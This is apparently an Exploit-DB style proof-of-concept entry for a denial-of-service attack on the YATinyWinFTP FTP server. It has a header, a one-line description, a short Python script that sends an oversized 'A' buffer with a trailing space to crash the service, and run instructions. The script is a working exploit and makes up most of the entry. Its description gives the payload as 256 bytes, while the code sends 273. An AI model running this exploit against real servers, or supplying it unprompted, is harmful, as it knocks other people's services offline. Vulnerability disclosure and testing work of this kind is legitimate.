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YATinyWinFTP - Denial of Service (PoC)

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# Exploit Title: YATinyWinFTP - Denial of Service (PoC)
# Google Dork: None
# Date: 20.08.2020
# Exploit Author: strider
# Vendor Homepage: https://github.com/ik80/YATinyWinFTP
# Software Link: https://github.com/ik80/YATinyWinFTP
# Tested on: Windows 10

------------------------------[Description]---------------------------------

This Eyxploit connects to the FTP-Service and sends a command which has a size of 256bytes with an trailing space at the end.
The result it crashes

 -----------------------------[Exploit]---------------------------------------------

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import socket, sys

target = (sys.argv[1], int(sys.argv[2]))
buffer = b'A' * 272 + b'\x20'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
print(s.recv(1024))
s.send(buffer)
s.close()

 -----------------------------[how to run]-----------------------------

C:\> TinyWinFTP.exe servepath port

~$ python3 exploit.py targetip port

Boom!
            
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